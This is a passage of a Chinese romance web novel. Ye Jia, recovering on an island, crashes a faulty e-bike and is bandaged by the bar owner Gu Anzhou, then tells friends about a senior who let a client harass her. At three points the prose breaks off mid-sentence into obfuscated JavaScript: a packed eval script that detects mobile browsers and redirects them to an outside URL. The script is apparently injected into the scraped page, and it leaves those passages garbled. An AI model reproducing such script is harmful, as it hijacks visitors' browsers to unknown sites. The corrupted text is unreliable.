正好顾岸舟拿着装好的小食拼盘，要递给她们，就看到了叶嘉说的话。 叶嘉很在意这一盘子食物，她疑惑地快速眨了两下眼睛，抬头正要问这是什么。 顾岸舟就先开口了：“送你们的。” 叶嘉愣了，这也是赔罪的吗，有那么大罪吗？他干什么了？他的身材很好，没有伤到她的眼睛啊。 等等，不会是送她上路的最后一餐吧？？ 你看到了我的身上的伤疤，知道我不是一个单纯的酒吧老板，你如果告诉别人，会影响到我在海岛上隐姓埋名的平静生活，所以你必须得永远保持沉默……什么的。 叶嘉越想越觉得有可能，因为她发现他还一直盯着自己，她没敢直视他眼睛，但想必那里面写满了警告。 而一旁的楚念只是说了声“那谢了啊”，就开始吃了，眼里还闪着吃瓜的光，来回看着两人。 这么看着，楚念就发现他们的嘴唇都是M形，只是叶嘉的唇珠更圆润，老板的唇峰更尖锐。 很适合亲上的两张嘴。 嚯嚯，来感觉了，回去就画。 顾岸舟是想说点什么的，但还是没说，收回了视线。 他看到她说不敢去酒吧，猜测到上次她应该是第一次来，所以才弄错了营业时间。 她一定是三好学生的类型，大概率家里也管得比较严，觉得酒吧乱，就不敢去。 很抱歉，偏偏第一次来看到的还是他这样的老板。 不知道她有没有看到他身上的疤，那说不定会给她造成心理阴影。 但比起搭话让她更有压力，不如用行动表示。 叶嘉喝完浮翠，就没有再点下一杯的打算。这度数的酒她可能喝十杯都不会醉，可万一里面加了什么东西呢？ 顾岸舟调了一杯特饮给她：“不含酒精的。” “……谢谢。”很怪吧？她都不点单他还主动给，还强调不含酒精，想让她放松警惕。 更怀疑里面加东西了。 但叶嘉又不想浪费，还是喝完了。不得不说，味道好极了，清新又丰富的柑橘味，就是不知道老板是不是在提醒她那天的事。 楚念跟新朋友一起边聊天边喝酒，喝得比平时更上头，又点了两杯酒，后面选的两杯比较特别，一杯里面加了黑巧克力，一杯是葡萄柚味道，都很好喝。 小食也吃得干干净净。 结账的时候，顾岸舟表示不用，今晚说好了他请客。 叶嘉掏手机的手一顿，连忙想说什么，却被楚念抢先了。 楚念指着自己，一脸惊喜：“我喝的也不要钱吗？” 顾岸舟点头。 “早知道我就再喝一杯了！”楚念懊恼，“谢谢老板啊。对了老板姓顾是吗？” “是，顾岸舟。” “岸舟？是跟岛有关的两个字？” 看老板给了肯定的答案后，叶嘉趁着这个缝隙终于插入对话：“这样不好吧，我还是付钱好了，我们的我一起付，多少钱？” “干嘛啊！”楚念直接拉着叶嘉胳膊要往外走，“老板说请客就请客呗，你还不给人面子，下次再来玩就是了。走了顾老板！” “慢走。” 叶嘉感觉特别难受，她哪里接受过这种人情，更何况这说不定是她要用生命来还的债！ “老板人还蛮好的，居然连我也一起请。”楚念顿时对顾岸舟更有好感，免费请喝酒吃东西，那别说是不搭理人了，就是甩她脸色也行啊。 楚念笑：“沾了你的光咯，虽然真——的真的很想知道他为什么要给你赔罪。” 叶嘉没说话，尬笑两声，心想如果她今晚没死的话，那老板是好人的概率可以提高一点。 很好，没死。 不只是这天没死，半个月过去，又去过酒吧三次的叶嘉也没死。 叶嘉逐渐放松了，但没敢完全放松，万一这是一盘棋，要下很长时间呢？ 不过在生活的其它方面，叶嘉是真的放松了，海岛的慢节奏，美食，以及新朋友的活跃，这一切都像在包容她，让她终于能大口呼吸。 她也可以不用时刻想着控制音量，能放声说话了。 中午她还是去海鲜店吃饭，今天特意去晚了一点，有事想问春姐。 店里没那么忙，春姐多跟她聊了两句，说着说着就引到了小顾身上。 叶嘉也就趁着这个机会，问出她想知道的事情：“对了春姐，你家菜单上的字就是他写的吧？” “对啊！”说起这个春姐笑容灿烂，“他字好看吧？” “很好看。是姐看他写字好看，叫他帮忙的吗？” “哎哟，是小顾主动说要帮我做的，我之前那个用了快十年了吧，那个塑料片片都翘起来了，他说很危险，可能会划到手。” 春姐冲叶嘉挑眉：“很心细吧。” 这确实让叶嘉意外，有点改观。 也许她不该以貌取人，也许他的疤痕并不是砍伤，毕竟她只是很快扫了一眼，可能是看错了。 对了，也可能是他见义勇为的时候受了伤啊！ 春姐被别桌的客人叫走了。 叶嘉本来还想问问，她觉得顾岸舟这人怎么样呢，但还好没问，问出来挺奇怪的，好像自己对他多好奇一样。 其实看春姐的态度也就知道了，她是很喜欢他的。 饱餐完，叶嘉没走，在等她帮楚念打包的饭菜。 叶嘉低头看着菜单上的一笔一划，感觉到门口的光被高大的身影挡住，抬起头来。 “小顾来啦！”春姐连忙招呼他，“今天吃牡蛎怎么样？专门给你留了些，鲜死个人！” “好，谢谢。” 顾岸舟回完，走到了叶嘉对面坐下。 ？ 叶嘉一怔，看了眼其它空着的桌子。 “中午好。”顾岸舟说。 “……你好。”现在已经快两点，应该算是下午了吧，原来他平时来吃饭的时间都这么晚了。 “你吃什么？” “噢！”叶嘉连忙把菜单放下，眼神有点心虚，她只是在看他写的字，“我吃过了，我在等打包的餐。” 顾岸舟点点头。 叶嘉以为对话应该到此结束了，就又听他开口。 “吃牡蛎了吗？” “吃了。”叶嘉一顿，“好吃。” 片刻的沉默。 “我还不知道你叫什么名字。” 顾岸舟想，问她名字，展示友好。 叶嘉想，问她名字，收她来了。 虽然经过一番算是有根据的判断，觉得他是好人的概率大大提升，可他人一杵在她面前，她还是被那种凶凶的气势给压倒了。 “叶嘉。”还是回答了，“嘉宾的嘉。” “很好的名字，叶嘉。” 叶嘉听到他叫出自己名字，竟然轻颤了一下，真好听。她抬眼看向他，妈妈呀，也是真的帅得要死。 “你的名字也好啊。”叶嘉说，“所以你是聆风岛人吗？” “不是。” “哦。”尬聊失败。 春姐打包好，扭头一看小叶和小顾在聊天，赶忙就大步走了过去，笑眯眯说：“好啦小叶，快回去投喂小楚吧。” “嗯好，谢谢春姐。”叶嘉提着袋子起身，对顾岸舟挥挥手。 顾岸舟跟她说了再见。 走出去叶嘉才想起，刚才是个很好的问顾岸舟为什么要“赔罪”的机会，可惜错过了，现在再返回去也没必要，只能算了。 反正还会再去很多次他的酒吧。 - 楚念开门的时候，打着哈欠，睡眼惺忪，头发乱成一团，睡衣也皱巴巴的。 叶嘉都不敢想象她的睡姿得多潇洒。她拿着饭走进去：“快去刷牙，吃饭了。” 楚念这才真的被食物的香气唤醒。 叶嘉坐在沙发上，跟坐在地上吃饭的楚念闲聊，这样的情况已经形成常态了。 楚念先是大吃了好几口，填饱肚子里的空虚，才问：“嘉嘉你会骑小电驴吗？” “算是会吧。” “那你教教我吧，我找我房东把他那个不用的小车车买下来了，想着多个交通工具，但其实我不会骑。” “啊，但我也没有到能教人的程度。” “你摔过吗？没摔过就能当我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333705|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师。” “我没摔过，但那是因为我本来也没怎么骑过。”叶嘉老家没有，北城中心区域也没有，她大部分时间都是地铁加公交。 “但你会就教教我嘛。” “好吧。”叶嘉没再推脱，“你怎么想起把人车买下来，你又不怎么出门。” “我好不容易来这么漂亮的海岛住了，一直待在家里感觉挺浪费景色的，还是想出去转转。” 叶嘉很激动：“那你跟我早上一起去跑步啊！跟你说我找到一个看日出的绝佳观景点，特别漂亮特别震撼！” 没有预期中的回应，叶嘉看到的只是一个尴尬而不失礼貌的微笑。 片刻后楚念捶着自己胸口：“你这是想让我死！” 吃完饭，楚欢说要睡个午觉。 叶嘉也是不懂，她明明睡到中午才醒，怎么就吃个饭的功夫就又要睡午觉了。 自己早上六点就起来了，也没有睡午觉的需求。 但叶嘉还是回家眯了一会，醒来看了看学生发给她的晚上想学的内容，备了会课，这个兼职做得还越来越正式了。 终于等到楚念来敲门，叶嘉实在佩服：“你又睡了一个半小时！” “我困嘛，没办法，但现在睡饱了，活力满满！”楚念每次都到下午睡完午觉后才正式开启新的一天。 小电驴就在楼下，车身是很清新的薄荷绿，虽然是二手的，但看起来跟新的没什么差。 楚念毕恭毕敬把钥匙递给叶嘉，叶嘉先骑上去试了一下。 “哇——”楚念羡慕地看着她很丝滑地骑了一圈回来，“你明明就很会骑，快教我。等会儿，你先载我去个更开阔的地方吧。” 她们住的地方足够漂亮了，就是地势稍微有点低，从她们住的楼房往外看是极好的，但下了楼就不太能眺望海景了。 “都这个点了，等会学着学着就该日落了，我带你去能看日落的地方，也很震撼，你看了说不定能刺激灵感！” “好好好，冲冲冲！” 只有一个头盔，司机叶嘉戴上，出发。 车一启动，楚念差点感觉要掉下去，赶忙紧紧抱住叶嘉的腰，但没一会就习惯，很有驰骋的感觉了，咸咸的海风吹得整个人都很惬意。 叶嘉也是第一次载人，还好很快习惯，朝着能看到咸蛋黄一样日落的地方，也就是夫妻海鲜店那边骑了过去。 一路拐了几个弯，叶嘉并不太娴熟的技术暴露了出来，但好在是顺利挺到了目的地。 这条道很宽敞，很适合学骑车，看出去的风景也特别好，湛蓝的海水被逐渐西斜的阳光照射，上面好像跃动着金粉一样。 楚念跳下车就感叹了一声：“果然人还是得多出来走走啊，我都错过了些什么！” 叶嘉提醒：“你错过了很多个日出。” “呃呃，那错过就错过了吧。” 叶嘉暂时无心欣赏，推着车研究了一下，真是她的技术问题吗？为什么感觉自从拐了一个大的左转弯之后，就一直在往左边偏。 “你等我会，我再去骑一圈试一下。”叶嘉跟楚念说完，就骑上车往前驶去。 刚骑上去还是有点偏，但也不知道从哪个节点开始那种异样的感觉又好像没了，很顺利，也不偏了。 叶嘉正松了口气，就听车头“嘎嘣”一声响，随即车把的手感变得软塌塌的，她直接失去了平衡。 双手撑在粗糙的地面，叶嘉支起身体，抬头看见是油画般的海景，心里感叹了一声真美啊，火辣的疼痛感才一下上来，她“嘶”了一声。 果然车子一直往左偏并不是她的错觉，是事实，她确实是有点经验但不多了。 叶嘉爬起来，想把车也扶起来，却发现左边膝盖疼得不行，使不上劲。 她想给楚念发消息说自己摔了，才发现手机摔出去几米远，捡起来一看屏幕碎了，怎么按都不亮了。 今天什么日子，这么倒霉。 手掌还好只是擦破了皮，但左膝侧边被磨得有点严重，她现在需要帮助，想着应该也没开出去太远，她干脆采用最原始的沟通工具，吸了口气，对着那边喊：“楚——念——！我摔车了！” 但在海边和在山头不一样，她的声音没办法传到那么远，她自己也能感觉到，声音在被海风吹散。 5. 不凶凶 顾岸舟做着营业前最后的准备，把放在桌上的椅子都拿下来，好像听到什么喊声，动作停了下来。 仔细一听，又什么也没有。 幻听？可最近他状态没什么异常。 忽然又是一声喊，是他有些熟悉的很具穿透力的声音。 顾岸舟丢下椅子，跑出店，看见二三十米远的路边，倒着一辆电瓶车，还有一个在挥手的叶嘉。 “摔车了还是被挂了？” 叶嘉转头看见顾岸舟走过来，这才发现她刚好把车骑到酒吧附近了，一时有点尴尬：“呃，自己摔的。” 顾岸舟看了下路面情况，把车扶了起来，一边说：“膝盖破了。” 语气冷淡的事实叙述，和他紧皱起的眉头，可以解读为不耐烦，也可以解读为在关心。 叶嘉看着这张脸，跟刚才趴起来看到海景的那瞬间一样，忘了别的，欣赏起来。 顾岸舟看着她左膝裸露在外进了不少灰尘的伤口：“去我店里消个毒，走路有问题吗？” “没有。”疼是疼，倒是感觉得到没伤到骨头，但创面挺大的，也确实是有必要消个毒，“我朋友还在那边，我手机碎了，我喊她她应该没听到。” “先处理伤口。”顾岸舟把车推走，支在酒吧门口，跟她说，“前轮卡死，轴承碎了。这车哪来的？” 叶嘉一瘸一拐地跟进去：“我朋友找她房东买的二手车。” “找房东退钱和赔偿，他不赔找警察。”顾岸舟说完，低头又看了眼她的伤，“先过来冲洗一下，把鞋脱了。” 叶嘉刚把鞋脱掉，一双男士拖鞋就摆在了她面前。 “我的，将就穿。” “哦。”这个时候没办法挑剔什么，叶嘉本身也不介意。 酒吧的卫生间不大，也就够站两个人的，顾岸舟的体格还不能按照一个普通的人算，挤进去就不剩什么空间了。 顾岸舟往洗手池的水龙头接了根软管，拉出来冲洗着叶嘉膝盖上伤口里的沙砾。 水是凉的，伤口却有灼烧感，叶嘉紧咬着牙，有点站不稳，手肘撑在旁边墙上。 她需要转移注意力，去看伤口感觉会更强烈，叶嘉就死死盯着顾岸舟看。 别说，还真有点镇痛效果。 感觉到她的视线，顾岸舟抬眼看过去。 叶嘉立刻感觉被警告了一样，挪开视线。 “忍忍，很快。” 叶嘉点点头，就再次看向顾岸舟的脸，看了一会，思绪就不由自主往楚欢画的那幅画上飘了，而一往那个方向跑，她就完全不感觉痛了。 从卫生间出去，叶嘉在心里谴责自己，叶嘉啊叶嘉，这么多年书都白读了，怎么走上好色这条堕落的路了。 她喜欢了那个人六年，也没想象过这种画面啊。 都怪楚念！ “坐。”顾岸舟留下一个字，就进了那个上次被叶嘉误闯的房间。 叶嘉发现店里干净整洁，唯独有张椅子歪歪扭扭的，不知道是不是顾岸舟听到她的喊声，没来得及把椅子放好就出来了。 她在那张椅子上坐下，看着膝盖上的伤口，冲干净之后看起来没那么吓人了，她活动了两下，再次确认没伤到骨头。 其实小时候没少摔，家里有辆自行车，也是经常出问题，但摔在山地里，她起身拍拍身上的泥也就继续走了，就算有伤口也没现在这么深，但还好这次骑车速度不快，她也幸运。 顾岸舟拿了医疗箱出来，放到叶嘉面前，单膝跪下来，仰头看着她：“碘伏过敏吗？” 叶嘉摇头。 “好。”顾岸舟拉过她脚腕，用碘伏消了毒，用纱布包扎好，收起医疗箱，“坐着休息一下，我去叫你朋友。” “谢谢啊！”叶嘉对着他背影说。 他确实很心细，碘伏过不过敏都考虑到了。 叶嘉挺皮实的，对什么都不过敏，也可能其实有过敏，只是没在意过。她没事做，手机也没了，就打开桌上的医疗箱看了看。 里面都是些救急用的药品，看起来挺专业的，不知道是不是他直接在网上买的配套好的。 东西放得都整整齐齐，这个叶嘉能肯定是因为顾岸舟做得好，他刚才用完都有随手放回原位，这样就不会乱。 叶嘉现在真的放松警惕了，她觉得顾岸舟不像是自己一开始想的那样。 正想着，就听见外面的声音，顾岸舟已经回来了。 这么快？这来回得有一公里了吧，他离开有三分钟吗？ 但叶嘉也看不了时间，不知道是不是她对时间的感知出了问题，总之就是感觉顾岸舟很快就回来了。 “她在过来了，很担心你。”顾岸舟胸口快速起伏着说，但很快就平稳了下来。 叶嘉盯着他一时出了神，可惜的是，他没出汗，准确的说是没出画上那种会滴落下来的汗，可光是看他喘着气，就已经感觉很性感了，他的声音也是，本来就好听，此刻显得更有韵味。 ……叶嘉啊叶嘉！ “哦好，谢谢你啊。”叶嘉连忙回过神来，刚才该不会是还摔到脑子了吧，她都在想些什么乱七八糟的东西。 顾岸舟看着又被打开了的医药箱，问她：“你还有哪里不舒服？” “没有，我就看看。” 叶嘉说完看到顾岸舟转身走开，摸了摸脑袋，没感觉哪里痛，也没摸到哪里肿。 好吧，纯被色魔上身了而已。 楚念这个体能废跑了一路进来，肺都快炸了，看到叶嘉膝盖上大块的纱布，更是上气不接下气：“天呐！完了完了你没事吧？” “没事，不用担心。” 怎么可能不担心，楚念还懊悔：“早知道不让你教我骑车了！怎么会这样……” “是车的问题，轴承碎了，顾老板说你应该找房东退款。” “啊？怎么卖坏了的车给我啊？”楚念立马拿出手机给房东发消息。 那边被一问还挺惊讶，表示他也不知道啊：[我那天给你骑过去的时候不是还好好的吗？] 给楚念气得，把叶嘉的伤，门口的车都拍了照片发过去，还让顾岸舟帮忙发了条语音，暗示她们这边有人懂行，少欺负人。 那边就没再说什么，把车钱退了：[这样吧，车我也不要了，看看能不能卖废铁吧，那钱就当医药费了。] 楚念的火气稍微下去了点，正想同意，就看顾岸舟对她伸出手。 “让我给他打个电话，叶嘉手机也碎了，就这样不够。” 楚念一愣，连忙把手机交给他。 顾岸舟拿着手机拨了电话过去，走去外面。没过一会，带着3000块的转账回来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333706|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶嘉跟楚念都惊呆了，怎么做到的？？ 同时楚念更气了，这不就是说，如果就到刚才为止算了，岂不是就让那房东逃过了？ “我还以为这海岛上大家都是好人呢！”楚念气愤，“那个车看起来明明也是跟新的一样！” 叶嘉点着头，看着顾岸舟，心想很多事情确实是跟一开始预想的不太一样。 其实叶嘉的手机不到三千块，赔多了，顾岸舟让她拿着。 叶嘉说等她好了来喝酒。 两人打车回了家。 晚饭叶嘉一般都自己做点简单的，今天楚念打电话给店家叫了她们两人份的烤猪蹄外卖，决定以形补形。 楚念坐在地上，背靠沙发，看着抱着电脑坐在沙发上的叶嘉：“我现在住那个房子都膈应了，我还签了一年的合同呢，你签了多少？” “半年。”叶嘉说，“房子没事的话，就别想太多了。” “房子是挺好的，之前沟通我也是感觉他人还不错，结果居然卖我烂车，害得你摔车。” “我真没事，还好不是我带着你一起摔的，不然你头盔都没有才惨呢，我们已经很幸运了。” 楚念扁扁嘴：“你人太好了，我更愧疚了！” “你都请我吃猪蹄了！”叶嘉失笑，“对了你说我买一个什么手机好？买智能手机好像没必要，在岛上也用不上。” 楚念看了看她递过来的电脑，上面都是些老年机：“但这些看起来都好丑，我就有一个非智能机，我买的时候想着拿来当备用机的，但我根本不需要，给你用吧。” 几番斟酌，叶嘉同意了。 楚念松了一口气，愧疚感少了大半。 是个玫红色的翻盖机，特别漂亮，很有复古味道。 叶嘉收下了，很快上手，她很喜欢，的确是比她在网上看到的要好看很多，虽然她并不介意外形，但好看的当然更好。 两人一起在茶几上吃着晚饭，楚念想起来问：“所以是顾老板给你包扎的。” “嗯，好巧我摔在他门口，及时就处理了，感觉他很专业的样子。” “噢哟？听起来有点小心动嘛。”楚念筷子都停下来了，“酒吧里面灯光昏昏暗暗的，你俩孤男寡女的，他就给你消毒包扎，很暧昧嘛。” “没有。” “没有暧昧还是没有心动？” 叶嘉笑笑：“最近又看什么少女漫画了？” 楚念确实不是在画画就是在看漫画，她邪魅一笑：“没那么纯洁。” 叶嘉低头吃饭，想着自己果然是被楚念给带偏的，她被顾岸舟拉着处理伤口的时候，还真的想了不少不纯洁的东西。 吃完饭，叶嘉要给学生上课，楚念就不打扰她了。 叶嘉也就沉浸在了给单纯的学生教授知识的高级趣味里，忘掉那些低俗的快乐。 几天后，叶嘉的伤口因为她忍住了一点也没挠，愈合得很好，结的痂都掉了，新长出的颜色比她白不少。 这天没有学生约课，叶嘉就主动约了楚念去雾海灯塔喝酒。 今天吧台坐了个女人，背影很曼妙，保养得很好的漂亮卷发垂在肩上，手肘撑在吧台上晃着酒杯，十足优雅。 叶嘉和楚念过去坐下，都认出了她，是那个大姨的朋友，对好友的安利不屑一顾的梦姨。 6. 凶凶 看来还是被香迷糊了。 梦姨是一个人来的，都没跟大姨一起。今天是工作日，不是大姨平时来的日子，梦姨像是背着人偷偷来的。 上次见到梦姨，她就是寻常打扮，这次看上去是花了不少心思，也花了不少钱，从头精致到脚。 相比起来叶嘉和楚念穿得像岛民一样。 楚念不想打扮，觉得麻烦，她是来看帅哥、喝酒的不是来出片的。 叶嘉衣柜里全是差不多的衣服，都以舒适为主，黑白灰加上牛仔蓝，唯一的亮色是前司发的淡粉色文化衫，她离职了也没扔，因为很好穿。 “欢迎光临。”顾岸舟走到两人面前，看着叶嘉说，“伤口好了吗？” “好了，谢谢你。”叶嘉真的很感谢，那天还让他帮忙处理了废车，给人添了不少麻烦，“我要一杯二重吟，还有小食拼盘。” 楚念也点了酒，叶嘉说今天请客，那她是不会客气的。 两人一开始没聊天，等着看梦姨会找顾岸舟聊什么。 但等了一会，发现梦姨一句话也没说，就只是喝着酒，喝完了敲敲吧台台面再续一杯。 说好的想要嘴甜的，想要获得情绪价值呢，现在也是着了道了，盯着人看就看美了。 顾岸舟也没有要主动跟顾客聊天的意思，调酒，送酒，收拾台面，一直忙着手里的活，闲下来就拿着酒杯也喝点。 一杯酒下肚，叶嘉和楚念畅聊起来，今晚可以多待一会再回去。 “我买的新车车下午运来咯，但是！”楚念冲着叶嘉挑眉，“我不需要你教我，我找到小老师了。” “谁？”叶嘉好奇，“还‘小老师’。” “给我送货来的那个小男生。长得白白嫩嫩的，是我喜欢的类型，我就问他空了能不能教我，他说OK。” 天呐，叶嘉感叹：“你做个人吧，小男生都不放过。” “我说的小是相对小，又不是绝对小，都成年在工作了。”楚念哼了她一声，“你看了就知道了，真的很可爱。” 叶嘉有种这段对话在哪里听到过的感觉。 “怎么，你是不喜欢比你小的男生吗？”楚念接过第二杯酒，问道，“你交往的都是比你大的？还是同岁？” 叶嘉也接过了她的第二杯，视线落在顾岸舟骨节分明的手上，欲言又止。 “咋了？”楚念看她反应有点怪，忙问，“不想聊？” “不是不想聊，是不知道怎么聊。”叶嘉看着她说，“我没谈过。” “这样啊，那你有喜欢的人吗？” 叶嘉嘴角更是直接向下撇去，满脸都写满了答案，很明显，有的，但她一点也不想谈起他。 可叶嘉还是回答了：“有，有过。” 她选择离开北城，有一部分就是因为他，都来聆风岛上休养了，也交到了可以谈心的朋友，还闭口不谈，反而会郁结在心里，还不如跟楚念聊聊。 顾岸舟把客人的酒都调完了，坐了下来，喝着杯子里的威士忌，拉弗格10年，消毒水味，带着大海的味道，喝不腻。 刚才叶嘉跟楚念聊天，都很轻松，嗓子放得很开，没控制音量，现在说起不高兴的事情，再加上也不想被吧台后面的顾岸舟听见了，就放低了声音。 “是我学长。”叶嘉说。 楚念点点头：“大学学长吗？对了你大学也是在北城上的吗？”她之前只知道叶嘉老家在一座西南城市的大山里，来聆风岛前在北城工作，还不知道其它信息。 “嗯，北大。” 楚念没忍住“哇”了声，她知道叶嘉肯定是个学霸，但北大出身还是惊了她一跳：“那他肯定也是个很优秀的人。” 叶嘉有点想笑，但点了头：“是啊，不仅很优秀，对我也很温柔，会在别人面前维护我，我毕业还帮我内推。” 楚念听得出叶嘉的声音里带着苦涩，小心翼翼地接话：“但是……？” “但是我也不知道是工作之后他变了，还是他本来就这样。”叶嘉深吸了一口气，“他在市场部，我在技术部，他叫一起去跟客户吃过几次饭，最后一次是那个老板让我坐他腿上喝酒，他就在旁边看着。” 叶嘉那时立刻就意识到，他是不会帮她的，而且从一开始他带她来的目的，大概就是为了让她成为牺牲品。 其实前几次叶嘉就隐约感觉到不对劲，但因为对他足够的信任，便一次又一次地去参加这种应酬，事实上她根本没在饭桌上提供什么技术上的信息。 一旁楚念听完火气瞬间就上来了：“他知道你喜欢他吗？” 叶嘉点头：“知道，我跟他表白过。” 楚念拍了下桌子：“那他也太烂了吧！明明知道你喜欢他还这么做？” “知不知道都不该这么做。” “对，知不知道都不该但是知道的话更过分了！”楚念接完，才意识到刚才那句话是谁说的，她看向顾岸舟，有些诧异，她们说话也没那么大声，他怎么还听到一清二楚？ 叶嘉也很惊讶，顾岸舟不仅听到了她们说话，还加入进来，那她放低声音的意义在于什么？ “抱歉。”看她们的谈话被自己打断，顾岸舟道，“只是有点生气。” 叶嘉一愣，接着笑了笑，摇摇头说：“没事。” 也不知道怎么的，刚才说起那些事情的烦躁感没了，心情还有些轻松。 “然后呢？”顾岸舟问，“虽然我并不了解你，但我想你应该不会就这么走了。” 楚念闻言立马好奇地看向叶嘉。 叶嘉顿时笑得更开了：“毕竟那天是要谈很重要的单子，我能做的也就只是离开那里，但他追出来了，拉着我说了那些有的没的，我就给了他一巴掌。” 她坐上出租车的时候，那个人还坐在地上没有爬起来，完全被她扇懵了。 他知道叶嘉的出身，从小就干农活，物理意义上的挑重担，他知道她单纯，不谙世事，现在也知道了她力气有多大。 “嗯，干得好。” “我也觉得我干得好。”叶嘉喝了口酒，“可惜这件事影响了客户签单，我不能在继续在公司里呆下去了。” “那他呢？” “他还在。” “太过分了吧，那这种公司本来也没有待下去的必要。”楚念气不过，“呵呵，为了保这种用恶臭的方式签单子的员工，抛弃你这种技术员工，这公司我看没多久就要垮！” 叶嘉举起酒杯：“借你吉言。” “我说话一直很灵的！”楚念也举起酒杯。 刚举起来，就看另一个装着浅金色液体的杯子也靠了过来，是顾岸舟的。 “恭喜你脱离苦海！远离烂人！”楚念大声说。 碰杯的声音特别清脆动听。 叶嘉看着楚念笑，她之前都没有能讲这些事的朋友，现在讲出来感觉放松了很多，难怪大家都爱拉着人吐槽呢。 她又看向顾岸舟，他已经收回手，在喝酒，她看到他漂亮的下颌线，喉结滚动着，看得她还没喝也咽了口口水。 顾岸舟放下酒杯，看叶嘉望着自己，顿了顿，问：“你说什么了吗？” 叶嘉摇摇头，收回视线。 这时有人过来点酒，顾岸舟起身，给客人调酒。 一旁的梦姨竟然也跟她们搭了话：“我刚听到你们说话了，其实很正常的，谁年轻的时候没喜欢过几个烂人呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333707|183365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “几个？”叶嘉失笑，“有这么一个我都感觉很累了，再来我受不了了。” “但你还年轻，就是该经历这些啊，不经历怎么知道什么才是好的呢，以我这个过来人看啊，你们还是多谈谈恋爱，但是呢，感觉到不对，就要马上抽身，别留恋。” 梦姨一说起来就停不下来了，说起自己年轻时候的事情来，被男人骗的，被绿的，感情经历是相当丰富。 “总之我现在是不会全情投入了，我就想这男的啊，要么得嘴甜，要么就得帅得我让我看了就心情好。” 两人都看见梦姨说到后半句，看了顾岸舟一眼。而其人低头凿着冰，又是一副什么也没听见的样子。 叶嘉喝第三杯酒的时候，手机震动了起来。 这还是她拿到这个手机后，第一次感受到震动，一时都没反应过来，打开一看发现是有人给她打电话了。 一个陌生号码。 叶嘉接了起来，发现那边声音有点听不清楚，起身往外面走去。 “是我，老汪。”电话那头的人语气亲切熟络，“你在哪呢那么吵？” “有事吗？”是汪钧。叶嘉的语调下意识地淡了下去，带着掩饰不住的的戒备。她不觉得跟他有什么好聊的。 “瞧你，没事就不能关心下老同事了？”汪钧哈哈一笑，随即语气正经了些，“不过今天还真有正事。工作找得怎么样了？” “还在看。”叶嘉回答得简短。 “那正好。”汪钧的声音带上了几分热切，“是这样，我琢磨着，自己出来干一票，平台、运营、拉投资这些我来搞，但核心技术这块，必须得有个绝对靠谱的大拿坐镇。我第一个想到的就是你。” 叶嘉皱了皱眉。创业？风险太大。而且，是和汪钧，那她都能猜到还有谁。 “谢谢，但我可能不太合适。” “别急着拒绝嘛！”汪钧语气急了些，“不是光咱俩，还有川子，他主要负责市场和对外关系。” 听到韩岚川的名字，叶嘉的心沉了一下。果然。 “他知道你来找我？”她的声音更低了，“还是说，就是他让你来找我的？” 电话那头静了静，传来细微的摩擦声，像是用手捂住了话筒。很快，汪钧的声音再次响起，比之前更加推心置腹： “小嘉，川子就在我边上。他让我跟你说，之前的事他很抱歉。他处在那个尴尬的位置，他也没办法，不投客户所好，这合同他怎么拿得下来？这说白了，是环境问题。” 叶嘉有点想骂人，但正好看到有几个客人走过来，便忍住，总不能影响了顾岸舟的生意，就往旁边走了去。 一旁正好有个小巷，很昏暗，只有一个大型垃圾桶，看样子没人经过。 那边汪钧还在继续：“但这次是正经事业，我们三个，天作之合啊。你的技术，我的管理，他的资源，缺一不可。个人的那点小恩怨，能不能先放一放？这样吧，咱们先见面再说，我让川子当面跟你道歉。” “你把手机给他，我有话跟他说。” 听到那边熟悉的，却变得迟疑畏缩的声音，叶嘉深吸一口气，直接大骂出口：“韩岚川，你是在公司混不下去了，才想拉着汪钧走吧？然后差个做技术的就想起我了？你能要点脸吗？！” 不等那边回话，叶嘉最后又大骂了一声“滚——！”，挂断了电话。 别说，翻盖手机还真好用，“啪”一下盖上，完美的给她的怒火收了个尾。 她又深呼吸了两口平复心情，转头正想走，却被旁边多出的什么吓得抖了一下，她这才发现巷子有扇门，通向酒吧的后厨。 而门口站了个人，是提着一包垃圾的顾岸舟。 7. 凶凶 “解决了吗？” 顾岸舟的语气太过平静，让叶嘉也即刻缓了过来，她再次打开手机，一边把汪钧的号码也拉黑，一边点头说：“应该是吧。” “好。那能麻烦你让一下吗？”顾岸舟说着把垃圾往上提了提，塑料袋和里面满满的易拉罐发出响声。 叶嘉才意识到她堵着顾岸舟扔垃圾的路了，连忙往旁边让了下。 顾岸舟走过去，把垃圾袋放在大型垃圾桶前面，回来站在叶嘉面前：“回去喝酒吧，我请你。” “又请我？”叶嘉诧异，“这次是为什么？” “庆祝。” 